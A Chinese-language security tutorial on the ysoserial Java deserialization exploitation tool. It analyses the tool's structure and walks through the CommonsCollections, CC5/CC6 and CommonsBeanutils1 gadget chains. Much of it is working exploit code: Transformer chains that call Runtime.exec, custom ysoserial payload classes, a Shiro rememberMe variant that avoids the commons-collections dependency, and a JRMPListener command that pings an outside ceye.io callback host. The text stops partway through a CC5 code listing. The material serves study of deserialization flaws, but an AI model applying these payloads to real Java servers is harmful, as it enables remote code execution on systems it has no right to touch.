• ysoserial Java反序列化漏洞利用实践


    ysoserial这款工具,堪称为“java反序列利用神器”。

    一、ysoserial下载与安装

    下载

    从github上直接下载
    git clone https://github.com/frohoff/ysoserial.git

    编译

    根据github上的编译提示,会出现编译错误

    1. Requires Java 1.7+ and Maven 3.x+
    2. mvn clean package -DskipTests

    错误信息如下,主要是因为在pom.xml缺少commons-io的依赖:

    在pom.xml的dependencies标签里添加依赖项:

    1. <dependency>
    2. <groupId>commons-iogroupId>
    3. <artifactId>commons-ioartifactId>
    4. <version>2.4version>
    5. dependency>

    再次执行mvn clean package -DskipTests,编译成功在target目录下生成相对应的jar包。

    使用

    主要有两种使用方式,一种是运行ysoserial.jar 中的主类函数,另一种是运行ysoserial中的exploit 类,二者的效果是不一样的,一般用第二种方式开启交互服务于。

    1. java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPListener 38471
    2. java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2 rce.267hqw.ceye.io'

    这两种方式在之后的代码分析中会详细分析。

    二、ysoserial架构分析

    从整体设计模式上分析该工具的编写方法,项目整体的目录结构如下所示:

    1. |____ysoserial
    2. | |____exploit
    3. | | |____JRMPClient.java
    4. | | |____JRMPListener.java
    5. | |____secmgr
    6. | | |____DelegateSecurityManager.java
    7. | | |____ExecCheckingSecurityManager.java
    8. | |____payloads
    9. | | |____CommonsCollections3.java
    10. | | |____ObjectPayload.java
    11. | | |____util
    12. | | | |____PayloadRunner.java
    13. | | | |____Gadgets.java
    14. | | | |____Reflections.java
    15. | | | |____ClassFiles.java
    16. | | | |____JavaVersion.java
    17. | | |____annotation
    18. | | | |____PayloadTest.java
    19. | | | |____Authors.java
    20. | | | |____Dependencies.java
    21. | |____GeneratePayload.java
    22. | |____Serializer.java
    23. | |____Strings.java
    24. | |____Deserializer.java

    大体分为生成代码、利用库(工具库)、payloads库、序列化库 这四大库。

    配置文件

    从Maven项目的pom配置文件开始分析,pom.xml 的整体缩略图如下:

    该配置文件主要对 build、dependencies、profiles 这五大方面进行配置。

    1. build

    配置编译打包相关操作,配置项目插件属性,在本项目中主要配置后者:

    1. <plugin>
    2. <artifactId>maven-assembly-pluginartifactId>
    3. <configuration>
    4. <finalName>${project.artifactId}-${project.version}-allfinalName>
    5. <appendAssemblyId>falseappendAssemblyId>
    6. <archive>
    7. <manifest>
    8. <mainClass>ysoserial.GeneratePayloadmainClass>
    9. manifest>
    10. archive>
    11. <descriptor>assembly.xmldescriptor>
    12. configuration>
    13. <executions>
    14. <execution>
    15. <id>make-assemblyid>
    16. <phase>packagephase>
    17. <goals>
    18. <goal>singlegoal>
    19. goals>
    20. execution>
    21. executions>
    22. plugin>

    在该配置中可以分析出,该项目编译之后的名称finalName,在编译后的jar包中的主执行类 ysoserial.GeneratePayload 。

    2. dependencies

    该标签是maven项目中用于配置项目依赖的核心配置,通过子标签的形式,将项目中的所有依赖jar包写在子配置中,类似如下配置:

    在编译ysoserial 项目时要添加Commons-io依赖,需要指定版本以及artifactId。

    3. profiles

    profile可以定义一系列的配置信息,然后指定其激活条件。这样我们就可以定义多个profile,然后每个profile对应不同的激活条件和配置信息,从而达到不同环境使用不同配置信息的效果。

    整体结构

    从jar包主类出发分析出整个jar包内部的类关系图:

    好在是项目中的类关系较为简单从图中可以看出,大体分为四个类结构:

    类名作用
    GeneratePayload生成对应序列化内容
    ObjectPayload(Utils)payload抽象类
    *Serializer序列化与反序列工具
    PayloadRunner测试反序列化利用链

    对于类关系可以从三种执行方式考虑,详细的分析在代码功能模块

    1. 执行jar包生成指定类反序列payload
    2. 测试payload 利用效果
    3. 执行exploit文件夹下的代码,开启服务

    三、ysoserial代码分析

    对框架有了大概的认识之后,分析框架实现,以及其代码设计思想。

    动态调试

    利用idea 导入Maven项目,之后利用pom.xml的包依赖关系下载对应的jar包,配置相关调试信息。这里需要注意的是idea调试jre环境最好是java 1.7 因为在1.7版本之后AnnotationInvocationHandler的反序列化利用链就被补了,为了方便调试选择对应的jdk版本。

    入口函数

    从pom.xml得知入口类函数为:

    函数调用关系如下图所示:

    入口函数接受了来自命令行传进来的参数,分别用payloadTypecommand参数接收。之后通过getPayloadClass函数反射生成对应的类,有了类之后newInstance生成实例,利用getObject方法获取填好利用链的对象,通过Serializer.serialize函数生成序列化后内容,之后销毁对象。

    Utils库分析

    Utils中主要利用反射生成对应类

    1. getPayloadClass

    在Utils类中有两个该方法的重载,分析其中一个:

    这里需要定义 clazz 类型为Class> ,估计会有很对纳闷这个class类型为什么这么复杂。这就需要理解泛型中的类关系了。在泛型中关键部分使用object函数和最底级类擦除的,因此其类关系如下:

    利用Class.forName函数获取对应类。

    2. makePayloadObject

    该函数是在执行exploit函数时一键式获取序列化内容,相关逻辑如下:

    1. final Classextends ObjectPayload> payloadClass = getPayloadClass(payloadType);//获取对应类
    2. ......
    3. final ObjectPayload payload = payloadClass.newInstance();//生成对象
    4. payloadObject = payload.getObject(payloadArg);//生产带有反序列化链的数据

    主要是exploit模块调用该功能,用于生成服务协议相关的交互式序列化利用链。

    3. releasePayload

    释放对象内存:

    ( (ReleaseableObjectPayload) payload ).release(object);

    序列化与反序列化

    代码单独存在两个文件中,分别完成包含利用链对象的序列化与反序列化工作。

    为了测试方便在Deserializer类中包含了测试函数,从文件中读取序列化内容并进行反序列化触发验证漏洞。

    1. public static void main(String[] args) throws ClassNotFoundException, IOException {
    2. final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0]));
    3. Object object = deserialize(in);
    4. }

    payloads库

    这里面内容就是ysoserial工具的核心了,包含了大量的反序列化链,使得反序列化漏洞利用更加简单方便。可归结为以下几个:

    利用库版本
    CommonsCollections1commons-collections:3.1
    CommonsCollections2commons-collections4:4.0
    CommonsCollections3commons-collections:3.1
    CommonsCollections4commons-collections4:4.0
    CommonsCollections5commons-collections:3.1
    CommonsCollections6commons-collections:3.1
    CommonsCollections7commons-collections:3.1
    BeanShell1bsh:2.0b5
    C3P0c3p0:0.9.5.2、mchange-commons-java:0.2.11
    Groovy1groovy:2.3.9
    Jdk7u21groovy:2.3.9
    Spring1spring-core:4.1.4.RELEASE、spring-beans:4.1.4.RELEASE
    URLDNS
    rome:1.0rome:1.0

    以后会单独写文章对这些利用链进行详细的分析。

    exploit库

    该库主要是开启交互式服务,例如如下使用方法:

    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections1 'open /Applications/Calculator.app/'
    

    目前包含了多种利用方式JBoss、Jenkins、JMX、JRMP、JSF、RMI等。这里以JRMPListener为样例,分析该模块的编写方法。

    利用utils库中的makepayload方法生成payload,调用集成好的JRMP服务端,等待客户端的连接,之后给客户端发送payload执行。

    测试类

    PayloadRunner为测试类,主要负责在编写添加payloads库之后测试其效果。使用方法如下:

    在payloads单个类中添加main方法。

    1. public static void main(final String[] args) throws Exception {
    2. PayloadRunner.run(CommonsBeanutils1.class, args);
    3. }

    从下面可以看出其测试的逻辑:

    1. 对传入的class用newInstance实例化
    2. 调用对象的getObject方法
    3. 获取到填充好利用链的对象
    4. 调用序列化方法进行序列化输出
    5. 调用反序列化函数触发序列化利用链

    四、扩展payload库

    将自己编写的payload放在下载的包中:路径ysoserial/src/main/java/ysoserial/payloads/,需要注意以下几点:

    1. 实现ObjectPayload接口
    2. 添加PayloadRunner测试方法
    3. 编写说明和注意事项

    通过分析一条AnnotationInvocationHandler链,在ysoserail中编写自己的利用链。Transformer 利用链是反序列化利用链里最最基础的一个,下面对其进行简单的介绍。

    InvokerTransformer

    该类完成了最后的命令执行,其代码如下:

    从参数中getClass获得对象类,利用反射的方法从类中获取方法对象(在参数中需指定方法名和参数),之后invoke该方法类(普通类需填充类对象作为参数)。

    因此在使用触发命令的时候就比较容易构造了:

    1. public class test {
    2. public static void main(String[] args) {
    3. InvokerTransformer it = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
    4. it.transform(Runtime.getRuntime());
    5. }
    6. }

    需要注意的是getMethod函数的两个参数均为数组,一个为类数组另一个为对象数组,用来表示参数的类型和内容。最后利用transform进行触发执行命令,之后再拓展利用链。

    ChainedTransformer

    链的形式就是一环扣一环,在本链中InvokerTransformer的触发在ChainedTransformer 的 transform 函数有调用:

    for循环调用transform数组元素的transform方法。

    TransformedMap

    在TransformedMap的checkSetValue方法中涉及到了对valueTransformer对象调用transform方法,该对象正好是Transformer类:

    向上溯源找到同一类中的checkSetValue调用:

    在之后的分析中只需关注谁调用了TransformedMap的setValue方法就可以了,valueTransformer对象的赋值在构造方法中,因为构造方法为protected,所以可以采用public static 方法decorate调用,参数都是一样的。

    AnnotationInvocationHandler

    该注解类重写了父类的readObject方法并实现了Serializable接口,通过简单分析发现了其readObject方法中包含以下代码逻辑:

    1. private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    2. var1.defaultReadObject();
    3. Iterator var4 = this.memberValues.entrySet().iterator();
    4. ......
    5. while(var4.hasNext()) {
    6. Entry var5 = (Entry)var4.next();
    7. ......
    8. if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
    9. var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
    10. }
    11. }
    12. }

    在类反序列的时候如果要反序列化的类有自己的readObject方法就会调用该方法而取代调用ObjectInputStream的defaultReadObject默认反序列化方法,分析发现调用了setValue方法,因此我们就可以在这里有所作为了。

    五、编写payload库

    利用transformer链构造一个ysoserial里面没有的序列化利用链,分析整个链在ysoserial中编写方法。

    1. 构造链

    整个利用链可以用下图概括:

    2. 创建transformers数组

    目前网上构造Transformer数组的方法采用getMethod方法获取getRuntime方法,自己在编写利用时有个疑惑为什么不直接invoke调用getRuntime方法,这样岂不是更加简单方便,试验如下:

    1. Transformer[] transformers = new Transformer[]{
    2. new ConstantTransformer(Runtime.getRuntime()),
    3. new InvokerTransformer("getRuntime", null, null),
    4. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
    5. };
    6. Transformer chainedTransformer = new ChainedTransformer(transformers);

    Transformer第一个元素会原状态返回,如果ConstantTransformer参数设置的是Runtime.class 在第二个元素执行transform函数的时候就会抛异常,原因是InvokerTransformer会获取transform函数参数的类并调用getMethod函数,如果是Runtime.class ,它的getClass方法获取的是Object类,这时再搜索getRuntime方法时就会抛出异常,因此这里只能用Runtime对象当做链的第一个参数,但是问题又来了。

    新的问题是在代码里编写调用transform触发函数是可以的,但是一旦反序列化该链就会报错,因为 Runtime没有实现Serializable接口,所以这个想法就被彻底否掉了。最后还是采用以下写法:

    1. Transformer[] transformers = new Transformer[]{
    2. new ConstantTransformer(Runtime.class),
    3. new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
    4. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
    5. new InvokerTransformer("getRuntime", null, null),
    6. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
    7. };

    这样做的好处是,在生成链的全程new的对象都实现了Serializable接口,这意味他们都可以序列化。

    3. 将数组放入TransformedMap

    1. Transformer chainedTransformer = new ChainedTransformer(transformers);
    2. Map inMap = new HashMap();
    3. inMap.put("value", "aa");
    4. Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);

    这里有个坑如果inMap put 的key名必须是value,相关代码在AnnotationInvocationHandler readObject方法中有所体现。

    4. 反射获取AnnotationInvocationHandler对象

    AnnotationInvocationHandler不是public类,外部包不能直接创建。需要通过反射setAccessible(true)设置访问其中的私有方法。于是就有下面的代码

    1. Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    2. Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });
    3. ctor.setAccessible(true);
    4. Object instance = ctor.newInstance(new Object[] { Retention.class, outMap });

    5. 编写测试代码

    通过对ysoserial框架的分析,PayloadRunner是payload的测试方法,其中包含了序列化与模拟反序列化操作,主要测试反序列化链的攻击效果。代码如下:

    1. public static void main(String[] args) throws Exception {
    2. PayloadRunner.run(mytest.class, args);
    3. }

    6. 整体代码

    自己编写的类需要继承和实现PayloadRunner类和ObjectPayload接口,方便测试和Payload生成,重写getObject方法并返回构造好的序列化链对象。

    1. public class mytest extends PayloadRunner implements ObjectPayload {
    2. public Object getObject(final String command) throws Exception {
    3. Transformer[] transformers = new Transformer[]{
    4. new ConstantTransformer(Runtime.class),
    5. // new ConstantTransformer(Runtime.getRuntime()),
    6. new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
    7. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
    8. new InvokerTransformer("getRuntime", null, null),
    9. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
    10. };
    11. Transformer chainedTransformer = new ChainedTransformer(transformers);
    12. Map inMap = new HashMap();
    13. inMap.put("value", "aa");
    14. Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);
    15. Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    16. Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });
    17. ctor.setAccessible(true);
    18. Object instance = ctor.newInstance(new Object[] { Retention.class, outMap });
    19. return instance;
    20. }
    21. public static void main(String[] args) throws Exception {
    22. PayloadRunner.run(mytest.class, args);
    23. }
    24. }
    25. 六、CB1利用链分析

      想学会反序列化的利用,commons-beanutils和BCEL两个内容也要学会。

      ysoserial-CommonsBeanutils1,此条利用链需要配合Commons-Beanutils组件来进行利用,在shiro中是自带此组件的。

      先上大佬写的简化版利用链,和ysoserial中的代码有点不同,但原理是一样的:

      1. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
      2. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
      3. import javassist.ClassPool;
      4. import javassist.CtClass;
      5. import org.apache.commons.beanutils.BeanComparator;
      6. import java.io.*;
      7. import java.lang.reflect.Field;
      8. import java.util.PriorityQueue;
      9. public class CommonsBeanutils {
      10. // 修改值的方法,简化代码
      11. public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
      12. Field field = object.getClass().getDeclaredField(fieldName);
      13. field.setAccessible(true);
      14. field.set(object, value);
      15. }
      16. public static void main(String[] args) throws Exception {
      17. // 创建恶意类,用于报错抛出调用链
      18. ClassPool pool = ClassPool.getDefault();
      19. CtClass payload = pool.makeClass("EvilClass");
      20. payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
      21. payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
      22. // payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
      23. byte[] evilClass = payload.toBytecode();
      24. // set field
      25. TemplatesImpl templates = new TemplatesImpl();
      26. setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
      27. setFieldValue(templates, "_name", "test");
      28. setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
      29. // 创建序列化对象
      30. BeanComparator beanComparator = new BeanComparator();
      31. PriorityQueue queue = new PriorityQueue(2, beanComparator);
      32. queue.add(1);
      33. queue.add(1);
      34. // 修改值
      35. setFieldValue(beanComparator, "property", "outputProperties");
      36. setFieldValue(queue, "queue", new Object[]{templates, templates});
      37. // 反序列化
      38. ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
      39. out.writeObject(queue);
      40. ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
      41. in.readObject();
      42. }
      43. }
      44. 在分析每一条利用链的方法时候,我都会从以下几个点来进行分析:

        1、首先要找到反序列化入口(source)
        2、调用链(gadget)
        3、触发漏洞的目标方法(sink)

        而此条利用链,这三点分别为:

        1)入口:

        PriorityQueue#readObject

        2)调用链:

        PriorityQueue#readObject -》 BeanComparator#compare -》 TemplatesImpl#getOutputProperties

        3)触发漏洞的目标方法:

        TemplatesImpl#getOutputProperties

        PriorityQueue

        PriorityQueue#readObject作为CC2的入口点,在CB1链中同样是以此为入口,其readObject中有个heapify方法:

        跟进heapify,在713行会去调用siftDown方法,前提是满足for循环中的size值大于等于2:

        siftDown方法中,通过一个if判断后,会调用到两个方法,而在siftDownUsingComparator中才是执行调用链的操作: 

        跟进siftDownUsingComparator方法,可以看到在699行调用了comparator#compare,整个PriorityQueue类的漏洞调用链就是到这里了。

        BeanComparator

        BeanComparator是一个bean比较器,用来比较两个JavaBean是否相等,其实现了java.util.Comparator接口,有一个Comparator方法。

        可以看到,在Comparator方法中先判断property值是否为空,之后调用了PropertyUtils.getProperty方法。而PropertyUtils.getProperty这个方法会去调用传入的javaBean中this.property值的getter方法,这个点是调用链的关键!

        TemplatesImpl

        漏洞的触发点就是利用了TemplatesImpl#getOutputProperties()方法的加载字节码,来调用到恶意类的构造方法、静态方法。整个调用链就不分析了,这里写下调用链:

        TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
        

        Shiro无依赖利用链改造

        在ysoserial中的CB1链,其实是依赖commons.collections包的,也就是CC链中的包,因为其BeanComparator类的构造方法中,会调用到ComparableComparator.getInstance()ComparableComparator类就是在commons.collections包中。

        shiro中自带了Commons-Beanutils组件,并没有自带commons.collections包。所以我们尝试修改CB1链来使其脱离commons.collections包的限制。

        需要满足三个条件:

        • 实现java.util.Comparator接口
        • 实现java.io.Serializable接口
        • Java、shiro或commons-beanutils自带,且兼容性强

        在这里师傅们找到了两个类:

        CaseInsensitiveComparator和java.util.Collections$ReverseComparator
        

        CaseInsensitiveComparator类为例,CaseInsensitiveComparator对象是通过String.CASE_INSENSITIVE_ORDER拿到的:

        只需要把String.CASE_INSENSITIVE_ORDER放入BeanComparator类的构造函数中即可使if为真,从而不调用到CC组件中的类。 

        BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        

        这里使用P神已经写好的POC来进行测试,项目地址在GitHub - phith0n/JavaThings: Share Things Related to Java - Java安全漫谈笔记相关内容

        打开shiroattack项目:

        运行以上的Client1后,会生成cookie中对应的rememberMe值。

        shiro环境同样使用P神的环境https://github.com/phith0n/JavaThings,注释掉环境shiro环境中的commons-collections组件

        访问/login.jsp界面勾选rememberMe登录,使用burp抓包,在cookie里面添加rememberMe=payload;

        另一个类java.util.Collections$ReverseComparator,也是通过其静态方法拿到。

        同样只需要把Collections.reverseOrder()放入BeanComparator类的构造函数中即可。

        BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());

        ysoserial改造

        把以下代码加入ysoserial的payloads模块即可:

        1. package ysoserial.payloads;
        2. import org.apache.commons.beanutils.BeanComparator;
        3. import ysoserial.payloads.util.Gadgets;
        4. import ysoserial.payloads.util.PayloadRunner;
        5. import ysoserial.payloads.util.Reflections;
        6. import java.util.Collections;
        7. import java.util.PriorityQueue;
        8. public class CommonsBeanutils2 implements ObjectPayload{
        9. public Object getObject(final String command) throws Exception {
        10. final Object templates = Gadgets.createTemplatesImpl(command);
        11. // mock method name until armed
        12. final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());
        13. // create queue with numbers and basic comparator
        14. final PriorityQueue queue = new PriorityQueue(2, comparator);
        15. // stub data for replacement later
        16. queue.add(1);
        17. queue.add(1);
        18. // switch method called by comparator
        19. Reflections.setFieldValue(comparator, "property", "outputProperties");
        20. // switch contents of queue
        21. final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        22. queueArray[0] = templates;
        23. queueArray[1] = templates;
        24. return queue;
        25. }
        26. public static void main(final String[] args) throws Exception {
        27. PayloadRunner.run(CommonsBeanutils2.class, args);
        28. }
        29. }
        30. 打包jar

          mvn clean package -DskipTests

          七、CC6利用链分析

          CC6和CC5等,都对应着commons-collections:3.1

          CC6

          利用链如下:

          1. Gadget chain:
          2. java.io.ObjectInputStream.readObject()
          3. java.util.HashSet.readObject()
          4. java.util.HashMap.put()
          5. java.util.HashMap.hash()
          6. org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
          7. org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
          8. org.apache.commons.collections.map.LazyMap.get()
          9. org.apache.commons.collections.functors.ChainedTransformer.transform()
          10. org.apache.commons.collections.functors.InvokerTransformer.transform()
          11. java.lang.reflect.Method.invoke()
          12. java.lang.Runtime.exec()

          下载一个Commons-collections3.1.jar,放入IDEA中分析一波。

          所有CC6的payload核心在于InvokerTransformer类,它实现了Transformer接口。

          1. public interface Transformer {
          2. Object transform(Object var1);
          3. }

          快捷键control+h可以快速搜索该接口的实现类:

          反序列化漏洞攻击的核心在于如何构造如Runtime. getRuntime().exec(''calc'')这样命令执行的语句。该语句可以写成很多种形式,但都是要用到反射方法。以Mac下弹计算器的命令为例,获取Class对象->获取该对象的方法->执行该方法。

          1. String cmd="open /System/Applications/Calculator.app";
          2. Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null);
          3. Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime,cmd);

          那么为什么CC系列链条的核心在于InvokerTransformer呢?它重写的transformer函数中部分内容如下,上述命令执行过程所需的getClass、getMethod、invoke方法都有了。而这些方法的参数又可以通过transformer自身的构造函数传入:

          1. //InvokerTransformer#transform
          2. Class cls = input.getClass();
          3. Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
          4. return method.invoke(input, this.iArgs);
          5. //InvokerTransformer#InvokerTransformer
          6. public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
          7. this.iMethodName = methodName;
          8. this.iParamTypes = paramTypes;
          9. this.iArgs = args;
          10. }

          利用InvokerTransformer构造函数,调用transform,弹计算器,可以写成如下方式:

          1. InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"});
          2. invokerTransformer.transform(Runtime.getRuntime());

          但是这样写存在一个问题,Runtime.getRuntime()在实际应用中无法这样传入。那么就需要按照反射的方式,先获取Runtime类,再getMethod获取getRuntime方法。那么如何传入Runtime类,并且还得是Transformer的子类,进行一番搜寻能找到ConstantTransformer类。
           

          1. public ConstantTransformer(Object constantToReturn) {
          2. this.iConstant = constantToReturn;
          3. }
          4. public Object transform(Object input) {
          5. return this.iConstant;
          6. }

          如果用ConstantTransformer类传入Runtime类,结合InvokerTransformer,进一步可以修改成下面这样。

          1. ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class);
          2. Object iConstant=constantTransformer.transform(Runtime.class); //Runtime.class=>class类型->有getMethod方法
          3. InvokerTransformer invokerTransformer=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null});
          4. Object k=invokerTransformer.transform(iConstant);
          5. InvokerTransformer invokerTransformer1=new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null});
          6. Object n=invokerTransformer1.transform(k);
          7. InvokerTransformer invokerTransformer2=new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"});
          8. invokerTransformer2.transform(n);

          首先因为传入的不再是Runtime.getRuntime对象,而是Runtime类,Runtime类属于java.lang.Class,该包中有的方法是getMethod,那么我们需要通过getMethod去调用getRuntime方法。对于新手来说,后面的参数怎么写就需要一些Java功底。

          new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null});

          首先看一下InvokerTransformer构造函数定义的参数(String methodName, Class[] paramTypes, Object[] args),这就固定了参数类型部分,而参数具体内容就要根据getMethod方法定义public Method getMethod(String name, Class... parameterTypes),这里提一个基础的小点,Class是泛型,泛型本身是ArrayList类型,即要写成数组形式。也就是第一个参数要为String类型,第二个参数为Class[]数组类型。

          new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null});

          invoker部分同理,public Object invoke(Object obj, Object... args),而exec就较为简单了public Process exec(String command)

          再回到上述ConstantTransformer和InvokerTransformer结合的写法中,存在一个问题就是如何能自动去多次调用transformer。同样在Transformer的实现类中寻找,ChainedTransformer顾名思义,可以构造一个Transformer链条。

          1. public ChainedTransformer(Transformer[] transformers) {
          2. this.iTransformers = transformers;
          3. }
          4. public Object transform(Object object) {
          5. for(int i = 0; i < this.iTransformers.length; ++i) {
          6. object = this.iTransformers[i].transform(object);
          7. }
          8. return object;
          9. }

          如果把上面的需要调用transform的内容都放进iTransformers中就大功告成,也就是说都要存进Transformer[] 这个数组中。

          1. Transformer[] Transformer=new Transformer[]{
          2. new ConstantTransformer(Runtime.class),
          3. new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
          4. new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
          5. new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"})
          6. };
          7. Transformer chainedTransformer=new ChainedTransformer(Transformer);
          8. chainedTransformer.transform(Transformer);

          接下来的问题就是,什么类可以调用transform函数,并且可以传入对象。按照CC6的链条,用了LazyMap类的get函数:

          1. public Object get(Object key) {
          2. if (!super.map.containsKey(key)) {
          3. Object value = this.factory.transform(key);
          4. super.map.put(key, value);
          5. return value;
          6. } else {
          7. return super.map.get(key);
          8. }
          9. }

          根据函数定义可知,如果继续要往上去找get的调用方法,就要找到形如map.get()这样的方式。

          1. //TiedMapEntry
          2. public Object getValue() {
          3. return this.map.get(this.key);
          4. }
          5. public int hashCode() {
          6. Object value = this.getValue();//同类中的hashCode方法又调用了getValue
          7. return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
          8. }
          9. //HashMap
          10. static final int hash(Object key) {
          11. int h;
          12. return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); //调用hashcode
          13. }
          14. public V put(K key, V value) {
          15. return putVal(hash(key), key, value, false, true) //调用hash
          16. //HashSet
          17. for (int i=0; i
          18. @SuppressWarnings("unchecked")
          19. E e = (E) s.readObject();
          20. map.put(e, PRESENT);
          21. }

          最终调用了readObject,而反序列化的攻击点就在于java.io.ObjectInputStream.readObject(),至此链条完整,具体原作者如何选取的hashmap为节点,虽不得而知,但令人赞叹。

          简版payload:

          1. public class CC6_Test {
          2. public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException {
          3. Transformer[] Transformer=new Transformer[]{
          4. new ConstantTransformer(Runtime.class),
          5. new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
          6. new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
          7. new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"})
          8. };
          9. Transformer chainedTransformer=new ChainedTransformer(Transformer);
          10. Map innerMap = new HashMap();
          11. Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
          12. TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
          13. HashSet map = new HashSet(1);
          14. map.add("foo");
          15. Field f = HashSet.class.getDeclaredField("map");
          16. f.setAccessible(true);
          17. HashMap innimpl = (HashMap) f.get(map);
          18. Field f2 = HashMap.class.getDeclaredField("table");
          19. f2.setAccessible(true);
          20. Object[] array = (Object[]) f2.get(innimpl);
          21. Object node = array[0];
          22. if(node == null){
          23. node = array[1];
          24. }
          25. Field keyField = node.getClass().getDeclaredField("key");
          26. keyField.setAccessible(true);
          27. keyField.set(node, entry);
          28. //序列化
          29. ByteArrayOutputStream baos = new ByteArrayOutputStream();
          30. ObjectOutputStream oos = new ObjectOutputStream(baos);
          31. oos.writeObject(map);
          32. oos.flush();
          33. oos.close();
          34. //反序列化
          35. ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
          36. ObjectInputStream ois = new ObjectInputStream(bais);
          37. Object obj = (Object) ois.readObject();
          38. }
          39. }

          从HashSet获取引用对象HashMap,private transient HashMap map;。因为该对象是private的,需要通过反射改变访问权限。f.get(Object obj)返回指定对象obj上此 Field 表示的字段的值。然后再从HashMap获取引用字段table,transient Node[] table;。这个table是一个数组,然后再获取第一个元素叫做node,然后从node对象获取字段key。这样payload在反序列化时才能按照攻击链的顺序去执行。

          八、CC5利用链分析

          CC5和CC6较为类似,比较着看,差异在于,LazyMap.get上层的调用链,CC5用的是TiedMapEntry.toString而CC6则是TiedMapEntry.getValue。toString方法return this.getKey() + "=" + this.getValue();,本身也是对getValue的调用。BadAttributeValueExpException构造函数可根据传入的对象来调用toString,并且具有接收ObjectInputStream参数的readObject方法,完美契合攻击链的构造。

          1. //CC5
          2. ObjectInputStream.readObject()
          3. BadAttributeValueExpException.readObject()
          4. TiedMapEntry.toString()
          5. LazyMap.get()
          6. //CC6
          7. ObjectInputStream.readObject()
          8. java.util.HashSet.readObject()
          9. java.util.HashMap.put()
          10. java.util.HashMap.hash()
          11. org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
          12. org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
          13. LazyMap.get()

          附上简版payload:

          1. import org.apache.commons.collections.Transformer;
          2. import org.apache.commons.collections.functors.ChainedTransformer;
          3. import org.apache.commons.collections.functors.ConstantTransformer;
          4. import org.apache.commons.collections.functors.InvokerTransformer;
          5. import org.apache.commons.collections.keyvalue.TiedMapEntry;
